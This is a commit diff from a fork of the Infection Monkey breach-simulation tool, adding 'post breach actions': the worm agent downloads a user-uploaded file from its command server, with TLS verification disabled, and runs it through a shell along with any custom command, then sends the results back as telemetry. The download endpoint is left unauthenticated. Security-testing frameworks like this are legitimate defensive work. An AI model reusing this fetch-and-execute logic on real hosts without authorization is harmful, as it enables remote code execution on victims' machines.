forked from p34709852/monkey
Merge pull request #274 from VakarisZ/post_exploitation
Post exploitation
This commit is contained in:
commit
287f0ee6e3
|
@ -68,3 +68,6 @@ bin
|
|||
/monkey/monkey_island/cc/server.crt
|
||||
/monkey/monkey_island/cc/server.csr
|
||||
/monkey/monkey_island/cc/ui/node_modules/
|
||||
|
||||
# User files
|
||||
/monkey/monkey_island/cc/userUploads
|
||||
|
|
|
@ -271,6 +271,10 @@ class Configuration(object):
|
|||
extract_azure_creds = True
|
||||
|
||||
post_breach_actions = []
|
||||
custom_PBA_linux_cmd = ""
|
||||
custom_PBA_windows_cmd = ""
|
||||
PBA_linux_filename = None
|
||||
PBA_windows_filename = None
|
||||
|
||||
|
||||
WormConfiguration = Configuration()
|
||||
|
|
|
@ -101,4 +101,8 @@
|
|||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30,
|
||||
"post_breach_actions" : []
|
||||
custom_PBA_linux_cmd = ""
|
||||
custom_PBA_windows_cmd = ""
|
||||
PBA_linux_filename = None
|
||||
PBA_windows_filename = None
|
||||
}
|
||||
|
|
|
@ -16,6 +16,7 @@ from infection_monkey.network.network_scanner import NetworkScanner
|
|||
from infection_monkey.system_info import SystemInfoCollector
|
||||
from infection_monkey.system_singleton import SystemSingleton
|
||||
from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -116,6 +117,8 @@ class InfectionMonkey(object):
|
|||
action = action_class()
|
||||
action.act()
|
||||
|
||||
PostBreach().execute()
|
||||
|
||||
if 0 == WormConfiguration.depth:
|
||||
LOG.debug("Reached max depth, shutting down")
|
||||
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
from infection_monkey.post_breach.pba import PBA
|
||||
from infection_monkey.control import ControlClient
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
import requests
|
||||
import os
|
||||
import logging
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
# Default commands for executing PBA file and then removing it
|
||||
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
|
||||
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
|
||||
|
||||
|
||||
class FileExecution(PBA):
|
||||
"""
|
||||
Defines user's file execution post breach action.
|
||||
"""
|
||||
def __init__(self, linux_command="", windows_command=""):
|
||||
self.linux_filename = WormConfiguration.PBA_linux_filename
|
||||
self.windows_filename = WormConfiguration.PBA_windows_filename
|
||||
super(FileExecution, self).__init__("File execution", linux_command, windows_command)
|
||||
|
||||
def _execute_linux(self):
|
||||
FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
|
||||
return super(FileExecution, self)._execute_linux()
|
||||
|
||||
def _execute_win(self):
|
||||
FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
|
||||
return super(FileExecution, self)._execute_win()
|
||||
|
||||
def add_default_command(self, is_linux):
|
||||
"""
|
||||
Replaces current (likely empty) command with default file execution command (that changes permissions, executes
|
||||
and finally deletes post breach file).
|
||||
Default commands are defined as globals in this module.
|
||||
:param is_linux: Boolean that indicates for which OS the command is being set.
|
||||
"""
|
||||
if is_linux:
|
||||
file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
|
||||
self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
|
||||
else:
|
||||
file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
|
||||
self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
|
||||
|
||||
@staticmethod
|
||||
def download_PBA_file(dst_dir, filename):
|
||||
"""
|
||||
Handles post breach action file download
|
||||
:param dst_dir: Destination directory
|
||||
:param filename: Filename
|
||||
:return: True if successful, false otherwise
|
||||
"""
|
||||
|
||||
PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
|
||||
(WormConfiguration.current_server, filename),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
try:
|
||||
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
|
||||
written_PBA_file.write(PBA_file_contents.content)
|
||||
return True
|
||||
except IOError as e:
|
||||
LOG.error("Can not download post breach file to target machine, because %s" % e)
|
||||
return False
|
|
@ -0,0 +1,68 @@
|
|||
import logging
|
||||
from infection_monkey.control import ControlClient
|
||||
import subprocess
|
||||
import socket
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
|
||||
class PBA(object):
|
||||
"""
|
||||
Post breach action object. Can be extended to support more than command execution on target machine.
|
||||
"""
|
||||
def __init__(self, name="unknown", linux_command="", windows_command=""):
|
||||
"""
|
||||
:param name: Name of post breach action.
|
||||
:param linux_command: Command that will be executed on linux machine
|
||||
:param windows_command: Command that will be executed on windows machine
|
||||
"""
|
||||
self.linux_command = linux_command
|
||||
self.windows_command = windows_command
|
||||
self.name = name
|
||||
|
||||
def run(self, is_linux):
|
||||
"""
|
||||
Runs post breach action command
|
||||
:param is_linux: boolean that indicates on which os monkey is running
|
||||
"""
|
||||
if is_linux:
|
||||
command = self.linux_command
|
||||
exec_funct = self._execute_linux
|
||||
else:
|
||||
command = self.windows_command
|
||||
exec_funct = self._execute_win
|
||||
if command:
|
||||
hostname = socket.gethostname()
|
||||
ControlClient.send_telemetry('post_breach', {'command': command,
|
||||
'result': exec_funct(),
|
||||
'name': self.name,
|
||||
'hostname': hostname,
|
||||
'ip': socket.gethostbyname(hostname)
|
||||
})
|
||||
|
||||
def _execute_linux(self):
|
||||
"""
|
||||
Default linux PBA execution function. Override it if additional functionality is needed
|
||||
"""
|
||||
return self._execute_default(self.linux_command)
|
||||
|
||||
def _execute_win(self):
|
||||
"""
|
||||
Default linux PBA execution function. Override it if additional functionality is needed
|
||||
"""
|
||||
return self._execute_default(self.windows_command)
|
||||
|
||||
@staticmethod
|
||||
def _execute_default(command):
|
||||
"""
|
||||
Default post breach command execution routine
|
||||
:param command: What command to execute
|
||||
:return: Tuple of command's output string and boolean, indicating if it succeeded
|
||||
"""
|
||||
try:
|
||||
return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
|
||||
except subprocess.CalledProcessError as e:
|
||||
# Return error output of the command
|
||||
return e.output, False
|
|
@ -0,0 +1,83 @@
|
|||
import logging
|
||||
import infection_monkey.config
|
||||
from file_execution import FileExecution
|
||||
from pba import PBA
|
||||
from infection_monkey.utils import is_windows_os
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
DIR_CHANGE_WINDOWS = 'cd %s & '
|
||||
DIR_CHANGE_LINUX = 'cd %s ; '
|
||||
|
||||
|
||||
class PostBreach(object):
|
||||
"""
|
||||
This class handles post breach actions execution
|
||||
"""
|
||||
def __init__(self):
|
||||
self.os_is_linux = not is_windows_os()
|
||||
self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
|
||||
|
||||
def execute(self):
|
||||
"""
|
||||
Executes all post breach actions.
|
||||
"""
|
||||
for pba in self.pba_list:
|
||||
pba.run(self.os_is_linux)
|
||||
LOG.info("Post breach actions executed")
|
||||
|
||||
@staticmethod
|
||||
def config_to_pba_list(config):
|
||||
"""
|
||||
Returns a list of PBA objects generated from config.
|
||||
:param config: Monkey configuration
|
||||
:return: A list of PBA objects.
|
||||
"""
|
||||
pba_list = []
|
||||
pba_list.extend(PostBreach.get_custom_PBA(config))
|
||||
|
||||
return pba_list
|
||||
|
||||
@staticmethod
|
||||
def get_custom_PBA(config):
|
||||
"""
|
||||
Creates post breach actions depending on users input into 'custom post breach' config section
|
||||
:param config: monkey's configuration
|
||||
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
|
||||
"""
|
||||
custom_list = []
|
||||
file_pba = FileExecution()
|
||||
command_pba = PBA(name="Custom")
|
||||
|
||||
if not is_windows_os():
|
||||
# Add linux commands to PBA's
|
||||
if config.PBA_linux_filename:
|
||||
if config.custom_PBA_linux_cmd:
|
||||
# Add change dir command, because user will try to access his file
|
||||
file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
|
||||
else:
|
||||
file_pba.add_default_command(is_linux=True)
|
||||
elif config.custom_PBA_linux_cmd:
|
||||
command_pba.linux_command = config.custom_PBA_linux_cmd
|
||||
else:
|
||||
# Add windows commands to PBA's
|
||||
if config.PBA_windows_filename:
|
||||
if config.custom_PBA_windows_cmd:
|
||||
# Add change dir command, because user will try to access his file
|
||||
file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
|
||||
config.custom_PBA_windows_cmd
|
||||
else:
|
||||
file_pba.add_default_command(is_linux=False)
|
||||
elif config.custom_PBA_windows_cmd:
|
||||
command_pba.windows_command = config.custom_PBA_windows_cmd
|
||||
|
||||
# Add PBA's to list
|
||||
if file_pba.linux_command or file_pba.windows_command:
|
||||
custom_list.append(file_pba)
|
||||
if command_pba.windows_command or command_pba.linux_command:
|
||||
custom_list.append(command_pba)
|
||||
|
||||
return custom_list
|
|
@ -27,7 +27,9 @@ from cc.resources.report import Report
|
|||
from cc.resources.root import Root
|
||||
from cc.resources.telemetry import Telemetry
|
||||
from cc.resources.telemetry_feed import TelemetryFeed
|
||||
from cc.resources.pba_file_download import PBAFileDownload
|
||||
from cc.services.config import ConfigService
|
||||
from cc.resources.pba_file_upload import FileUpload
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -116,6 +118,10 @@ def init_app(mongo_url):
|
|||
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
|
||||
api.add_resource(Log, '/api/log', '/api/log/')
|
||||
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
|
||||
api.add_resource(PBAFileDownload, '/api/pba/download/<string:path>')
|
||||
api.add_resource(FileUpload, '/api/fileUpload/<string:file_type>',
|
||||
'/api/fileUpload/<string:file_type>?load=<string:filename>',
|
||||
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
|
||||
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
|
||||
|
||||
return app
|
||||
|
|
|
@ -0,0 +1,14 @@
|
|||
import flask_restful
|
||||
from flask import send_from_directory
|
||||
from cc.resources.pba_file_upload import GET_FILE_DIR
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
|
||||
class PBAFileDownload(flask_restful.Resource):
|
||||
"""
|
||||
File download endpoint used by monkey to download user's PBA file
|
||||
"""
|
||||
# Used by monkey. can't secure.
|
||||
def get(self, path):
|
||||
return send_from_directory(GET_FILE_DIR, path)
|
|
@ -0,0 +1,83 @@
|
|||
import flask_restful
|
||||
from flask import request, send_from_directory, Response
|
||||
from cc.services.config import ConfigService
|
||||
from cc.services.post_breach_files import PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR
|
||||
from cc.auth import jwt_required
|
||||
import os
|
||||
from werkzeug.utils import secure_filename
|
||||
import logging
|
||||
import copy
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
GET_FILE_DIR = "./userUploads"
|
||||
# Front end uses these strings to identify which files to work with (linux of windows)
|
||||
LINUX_PBA_TYPE = 'PBAlinux'
|
||||
WINDOWS_PBA_TYPE = 'PBAwindows'
|
||||
|
||||
|
||||
class FileUpload(flask_restful.Resource):
|
||||
"""
|
||||
File upload endpoint used to exchange files with filepond component on the front-end
|
||||
"""
|
||||
@jwt_required()
|
||||
def get(self, file_type):
|
||||
"""
|
||||
Sends file to filepond
|
||||
:param file_type: Type indicates which file to send, linux or windows
|
||||
:return: Returns file contents
|
||||
"""
|
||||
# Verify that file_name is indeed a file from config
|
||||
if file_type == LINUX_PBA_TYPE:
|
||||
filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH))
|
||||
else:
|
||||
filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH))
|
||||
return send_from_directory(GET_FILE_DIR, filename)
|
||||
|
||||
@jwt_required()
|
||||
def post(self, file_type):
|
||||
"""
|
||||
Receives user's uploaded file from filepond
|
||||
:param file_type: Type indicates which file was received, linux or windows
|
||||
:return: Returns flask response object with uploaded file's filename
|
||||
"""
|
||||
filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE))
|
||||
|
||||
response = Response(
|
||||
response=filename,
|
||||
status=200, mimetype='text/plain')
|
||||
return response
|
||||
|
||||
@jwt_required()
|
||||
def delete(self, file_type):
|
||||
"""
|
||||
Deletes file that has been deleted on the front end
|
||||
:param file_type: Type indicates which file was deleted, linux of windows
|
||||
:return: Empty response
|
||||
"""
|
||||
filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH
|
||||
filename = ConfigService.get_config_value(filename_path)
|
||||
file_path = os.path.join(UPLOADS_DIR, filename)
|
||||
try:
|
||||
if os.path.exists(file_path):
|
||||
os.remove(file_path)
|
||||
ConfigService.set_config_value(filename_path, '')
|
||||
except OSError as e:
|
||||
LOG.error("Can't remove previously uploaded post breach files: %s" % e)
|
||||
|
||||
return {}
|
||||
|
||||
@staticmethod
|
||||
def upload_pba_file(request_, is_linux=True):
|
||||
"""
|
||||
Uploads PBA file to island's file system
|
||||
:param request_: Request object containing PBA file
|
||||
:param is_linux: Boolean indicating if this file is for windows or for linux
|
||||
:return: filename string
|
||||
"""
|
||||
filename = secure_filename(request_.files['filepond'].filename)
|
||||
file_path = os.path.join(UPLOADS_DIR, filename)
|
||||
request_.files['filepond'].save(file_path)
|
||||
ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename)
|
||||
return filename
|
|
@ -10,6 +10,7 @@ from cc.services.config import ConfigService
|
|||
from cc.services.node import NodeService
|
||||
from cc.services.report import ReportService
|
||||
from cc.utils import local_ip_addresses
|
||||
from cc.services.post_breach_files import remove_PBA_files
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -42,6 +43,7 @@ class Root(flask_restful.Resource):
|
|||
@staticmethod
|
||||
@jwt_required()
|
||||
def reset_db():
|
||||
remove_PBA_files()
|
||||
# We can't drop system collections.
|
||||
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
|
||||
ConfigService.init_config()
|
||||
|
|
|
@ -257,6 +257,11 @@ class Telemetry(flask_restful.Resource):
|
|||
if len(credential) > 0:
|
||||
attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
|
||||
|
||||
@staticmethod
|
||||
def process_post_breach_telemetry(telemetry_json):
|
||||
mongo.db.monkey.update(
|
||||
{'guid': telemetry_json['monkey_guid']},
|
||||
{'$push': {'pba_results': telemetry_json['data']}})
|
||||
|
||||
TELEM_PROCESS_DICT = \
|
||||
{
|
||||
|
@ -265,5 +270,6 @@ TELEM_PROCESS_DICT = \
|
|||
'exploit': Telemetry.process_exploit_telemetry,
|
||||
'scan': Telemetry.process_scan_telemetry,
|
||||
'system_info_collection': Telemetry.process_system_info_telemetry,
|
||||
'trace': Telemetry.process_trace_telemetry
|
||||
'trace': Telemetry.process_trace_telemetry,
|
||||
'post_breach': Telemetry.process_post_breach_telemetry
|
||||
}
|
||||
|
|
|
@ -80,6 +80,12 @@ class TelemetryFeed(flask_restful.Resource):
|
|||
def get_trace_telem_brief(telem):
|
||||
return 'Monkey reached max depth.'
|
||||
|
||||
@staticmethod
|
||||
def get_post_breach_telem_brief(telem):
|
||||
return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'],
|
||||
telem['data']['hostname'],
|
||||
telem['data']['ip'])
|
||||
|
||||
|
||||
TELEM_PROCESS_DICT = \
|
||||
{
|
||||
|
@ -88,5 +94,6 @@ TELEM_PROCESS_DICT = \
|
|||
'exploit': TelemetryFeed.get_exploit_telem_brief,
|
||||
'scan': TelemetryFeed.get_scan_telem_brief,
|
||||
'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief,
|
||||
'trace': TelemetryFeed.get_trace_telem_brief
|
||||
'trace': TelemetryFeed.get_trace_telem_brief,
|
||||
'post_breach': TelemetryFeed.get_post_breach_telem_brief
|
||||
}
|
||||
|
|
|
@ -4,6 +4,7 @@ import functools
|
|||
import logging
|
||||
from jsonschema import Draft4Validator, validators
|
||||
from six import string_types
|
||||
import cc.services.post_breach_files
|
||||
|
||||
from cc.database import mongo
|
||||
from cc.encryptor import encryptor
|
||||
|
@ -79,6 +80,12 @@ class ConfigService:
|
|||
config = encryptor.dec(config)
|
||||
return config
|
||||
|
||||
@staticmethod
|
||||
def set_config_value(config_key_as_arr, value):
|
||||
mongo_key = ".".join(config_key_as_arr)
|
||||
mongo.db.config.update({'name': 'newconfig'},
|
||||
{"$set": {mongo_key: value}})
|
||||
|
||||
@staticmethod
|
||||
def get_flat_config(is_initial_config=False, should_decrypt=True):
|
||||
config_json = ConfigService.get_config(is_initial_config, should_decrypt)
|
||||
|
@ -138,6 +145,8 @@ class ConfigService:
|
|||
|
||||
@staticmethod
|
||||
def update_config(config_json, should_encrypt):
|
||||
# PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there
|
||||
cc.services.post_breach_files.set_config_PBA_files(config_json)
|
||||
if should_encrypt:
|
||||
try:
|
||||
ConfigService.encrypt_config(config_json)
|
||||
|
@ -173,6 +182,7 @@ class ConfigService:
|
|||
|
||||
@staticmethod
|
||||
def reset_config():
|
||||
cc.services.post_breach_files.remove_PBA_files()
|
||||
config = ConfigService.get_default_config(True)
|
||||
ConfigService.set_server_ips_in_config(config)
|
||||
ConfigService.update_config(config, should_encrypt=False)
|
||||
|
|
|
@ -313,6 +313,46 @@ SCHEMA = {
|
|||
"title": "Behaviour",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"custom_PBA_linux_cmd": {
|
||||
"title": "Linux post breach command",
|
||||
"type": "string",
|
||||
"default": "",
|
||||
"description": "Linux command to be executed after breaching."
|
||||
},
|
||||
"PBA_linux_file": {
|
||||
"title": "Linux post breach file",
|
||||
"type": "string",
|
||||
"format": "data-url",
|
||||
"description": "File to be executed after breaching. "
|
||||
"If you want custom execution behavior, "
|
||||
"specify it in 'Linux post breach command' field. "
|
||||
"Reference your file by filename."
|
||||
},
|
||||
"custom_PBA_windows_cmd": {
|
||||
"title": "Windows post breach command",
|
||||
"type": "string",
|
||||
"default": "",
|
||||
"description": "Windows command to be executed after breaching."
|
||||
},
|
||||
"PBA_windows_file": {
|
||||
"title": "Windows post breach file",
|
||||
"type": "string",
|
||||
"format": "data-url",
|
||||
"description": "File to be executed after breaching. "
|
||||
"If you want custom execution behavior, "
|
||||
"specify it in 'Windows post breach command' field. "
|
||||
"Reference your file by filename."
|
||||
},
|
||||
"PBA_windows_filename": {
|
||||
"title": "Windows PBA filename",
|
||||
"type": "string",
|
||||
"default": ""
|
||||
},
|
||||
"PBA_linux_filename": {
|
||||
"title": "Linux PBA filename",
|
||||
"type": "string",
|
||||
"default": ""
|
||||
},
|
||||
"self_delete_in_cleanup": {
|
||||
"title": "Self delete on cleanup",
|
||||
"type": "boolean",
|
||||
|
|
|
@ -142,7 +142,8 @@ class NodeService:
|
|||
"group": NodeService.get_monkey_group(monkey),
|
||||
"os": NodeService.get_monkey_os(monkey),
|
||||
"dead": monkey["dead"],
|
||||
"domain_name": ""
|
||||
"domain_name": "",
|
||||
"pba_results": monkey["pba_results"] if "pba_results" in monkey else []
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
|
|
|
@ -0,0 +1,43 @@
|
|||
import cc.services.config
|
||||
import logging
|
||||
import os
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Where to find file names in config
|
||||
PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename']
|
||||
PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename']
|
||||
UPLOADS_DIR = 'monkey_island/cc/userUploads'
|
||||
|
||||
|
||||
def remove_PBA_files():
|
||||
if cc.services.config.ConfigService.get_config():
|
||||
windows_filename = cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
|
||||
linux_filename = cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
|
||||
if linux_filename:
|
||||
remove_file(linux_filename)
|
||||
if windows_filename:
|
||||
remove_file(windows_filename)
|
||||
|
||||
|
||||
def remove_file(file_name):
|
||||
file_path = os.path.join(UPLOADS_DIR, file_name)
|
||||
try:
|
||||
if os.path.exists(file_path):
|
||||
os.remove(file_path)
|
||||
except OSError as e:
|
||||
logger.error("Can't remove previously uploaded post breach files: %s" % e)
|
||||
|
||||
|
||||
def set_config_PBA_files(config_json):
|
||||
"""
|
||||
Sets PBA file info in config_json to current config's PBA file info values.
|
||||
:param config_json: config_json that will be modified
|
||||
"""
|
||||
if cc.services.config.ConfigService.get_config():
|
||||
linux_filename = cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
|
||||
windows_filename = cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
|
||||
config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename
|
||||
config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename
|
|
@ -132,7 +132,8 @@ class ReportService:
|
|||
(NodeService.get_displayed_node_by_id(edge['from'], True)
|
||||
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))),
|
||||
'services': node['services'],
|
||||
'domain_name': node['domain_name']
|
||||
'domain_name': node['domain_name'],
|
||||
'pba_results': node['pba_results'] if 'pba_results' in node else 'None'
|
||||
})
|
||||
|
||||
logger.info('Scanned nodes generated for reporting')
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -68,6 +68,7 @@
|
|||
"core-js": "^2.5.7",
|
||||
"downloadjs": "^1.4.7",
|
||||
"fetch": "^1.1.0",
|
||||
"filepond": "^4.2.0",
|
||||
"js-file-download": "^0.4.4",
|
||||
"json-loader": "^0.5.7",
|
||||
"jwt-decode": "^2.2.0",
|
||||
|
@ -83,6 +84,7 @@
|
|||
"react-dimensions": "^1.3.0",
|
||||
"react-dom": "^16.5.2",
|
||||
"react-fa": "^5.0.0",
|
||||
"react-filepond": "^7.0.1",
|
||||
"react-graph-vis": "^1.0.2",
|
||||
"react-json-tree": "^0.11.0",
|
||||
"react-jsonschema-form": "^1.0.5",
|
||||
|
|
|
@ -6,6 +6,7 @@ class AuthComponent extends React.Component {
|
|||
super(props);
|
||||
this.auth = new AuthService();
|
||||
this.authFetch = this.auth.authFetch;
|
||||
this.jwtHeader = this.auth.jwtHeader();
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -78,6 +78,7 @@ class AppComponent extends AuthComponent {
|
|||
constructor(props) {
|
||||
super(props);
|
||||
this.state = {
|
||||
removePBAfiles: false,
|
||||
completedSteps: {
|
||||
run_server: true,
|
||||
run_monkey: false,
|
||||
|
@ -88,6 +89,11 @@ class AppComponent extends AuthComponent {
|
|||
};
|
||||
}
|
||||
|
||||
// Sets the property that indicates if we need to remove PBA files from state or not
|
||||
setRemovePBAfiles = (rmFiles) => {
|
||||
this.setState({removePBAfiles: rmFiles});
|
||||
};
|
||||
|
||||
componentDidMount() {
|
||||
this.updateStatus();
|
||||
this.interval = setInterval(this.updateStatus, 5000);
|
||||
|
|
|
@ -3,15 +3,43 @@ import Form from 'react-jsonschema-form';
|
|||
import {Col, Nav, NavItem} from 'react-bootstrap';
|
||||
import fileDownload from 'js-file-download';
|
||||
import AuthComponent from '../AuthComponent';
|
||||
import { FilePond } from 'react-filepond';
|
||||
import 'filepond/dist/filepond.min.css';
|
||||
|
||||
class ConfigurePageComponent extends AuthComponent {
|
||||
constructor(props) {
|
||||
super(props);
|
||||
|
||||
this.PBAwindowsPond = null;
|
||||
this.PBAlinuxPond = null;
|
||||
this.currentSection = 'basic';
|
||||
this.currentFormData = {};
|
||||
this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
|
||||
|
||||
this.uiSchema = {
|
||||
behaviour: {
|
||||
custom_PBA_linux_cmd: {
|
||||
"ui:widget": "textarea",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_linux_file: {
|
||||
"ui:widget": this.PBAlinux
|
||||
},
|
||||
custom_PBA_windows_cmd: {
|
||||
"ui:widget": "textarea",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_windows_file: {
|
||||
"ui:widget": this.PBAwindows
|
||||
},
|
||||
PBA_linux_filename: {
|
||||
classNames: "linux-pba-file-info",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_windows_filename: {
|
||||
classNames: "windows-pba-file-info",
|
||||
"ui:emptyValue": ""
|
||||
}
|
||||
}
|
||||
};
|
||||
// set schema from server
|
||||
this.state = {
|
||||
schema: {},
|
||||
|
@ -19,7 +47,9 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
lastAction: 'none',
|
||||
sections: [],
|
||||
selectedSection: 'basic',
|
||||
allMonkeysAreDead: true
|
||||
allMonkeysAreDead: true,
|
||||
PBAwinFile: [],
|
||||
PBAlinuxFile: []
|
||||
};
|
||||
}
|
||||
|
||||
|
@ -93,6 +123,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
};
|
||||
|
||||
resetConfig = () => {
|
||||
this.removePBAfiles();
|
||||
this.authFetch('/api/configuration/island',
|
||||
{
|
||||
method: 'POST',
|
||||
|
@ -110,6 +141,21 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
});
|
||||
};
|
||||
|
||||
removePBAfiles(){
|
||||
// We need to clean files from widget, local state and configuration (to sync with bac end)
|
||||
if (this.PBAwindowsPond !== null){
|
||||
this.PBAwindowsPond.removeFile();
|
||||
}
|
||||
if (this.PBAlinuxPond !== null){
|
||||
this.PBAlinuxPond.removeFile();
|
||||
}
|
||||
let request_options = {method: 'DELETE',
|
||||
headers: {'Content-Type': 'text/plain'}};
|
||||
this.authFetch('/api/fileUpload/PBAlinux', request_options);
|
||||
this.authFetch('/api/fileUpload/PBAwindows', request_options);
|
||||
this.setState({PBAlinuxFile: [], PBAwinFile: []});
|
||||
}
|
||||
|
||||
onReadFile = (event) => {
|
||||
try {
|
||||
this.setState({
|
||||
|
@ -150,13 +196,87 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
});
|
||||
};
|
||||
|
||||
PBAwindows = () => {
|
||||
return (<FilePond
|
||||
server={{ url:'/api/fileUpload/PBAwindows',
|
||||
process: {headers: {'Authorization': this.jwtHeader}},
|
||||
revert: {headers: {'Authorization': this.jwtHeader}},
|
||||
restore: {headers: {'Authorization': this.jwtHeader}},
|
||||
load: {headers: {'Authorization': this.jwtHeader}},
|
||||
fetch: {headers: {'Authorization': this.jwtHeader}}
|
||||
}}
|
||||
files={this.getWinPBAfile()}
|
||||
onupdatefiles={fileItems => {
|
||||
this.setState({
|
||||
PBAwinFile: fileItems.map(fileItem => fileItem.file)
|
||||
})
|
||||
}}
|
||||
ref={ref => this.PBAwindowsPond = ref}
|
||||
/>)
|
||||
};
|
||||
|
||||
PBAlinux = () => {
|
||||
return (<FilePond
|
||||
server={{ url:'/api/fileUpload/PBAlinux',
|
||||
process: {headers: {'Authorization': this.jwtHeader}},
|
||||
revert: {headers: {'Authorization': this.jwtHeader}},
|
||||
restore: {headers: {'Authorization': this.jwtHeader}},
|
||||
load: {headers: {'Authorization': this.jwtHeader}},
|
||||
fetch: {headers: {'Authorization': this.jwtHeader}}
|
||||
}}
|
||||
files={this.getLinuxPBAfile()}
|
||||
onupdatefiles={fileItems => {
|
||||
this.setState({
|
||||
PBAlinuxFile: fileItems.map(fileItem => fileItem.file)
|
||||
})
|
||||
}}
|
||||
ref={ref => this.PBAlinuxPond = ref}
|
||||
/>)
|
||||
};
|
||||
|
||||
getWinPBAfile(){
|
||||
if (this.state.PBAwinFile.length !== 0){
|
||||
return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0])
|
||||
} else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){
|
||||
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename)
|
||||
}
|
||||
}
|
||||
|
||||
getLinuxPBAfile(){
|
||||
if (this.state.PBAlinuxFile.length !== 0){
|
||||
return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0])
|
||||
} else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) {
|
||||
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename)
|
||||
}
|
||||
}
|
||||
|
||||
static getFullPBAfile(filename){
|
||||
let pbaFile = [{
|
||||
source: filename,
|
||||
options: {
|
||||
type: 'limbo'
|
||||
}
|
||||
}];
|
||||
return pbaFile
|
||||
}
|
||||
|
||||
static getMockPBAfile(mockFile){
|
||||
let pbaFile = [{
|
||||
source: mockFile.name,
|
||||
options: {
|
||||
type: 'limbo'
|
||||
}
|
||||
}];
|
||||
pbaFile[0].options.file = mockFile;
|
||||
return pbaFile
|
||||
}
|
||||
|
||||
render() {
|
||||
let displayedSchema = {};
|
||||
if (this.state.schema.hasOwnProperty('properties')) {
|
||||
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
|
||||
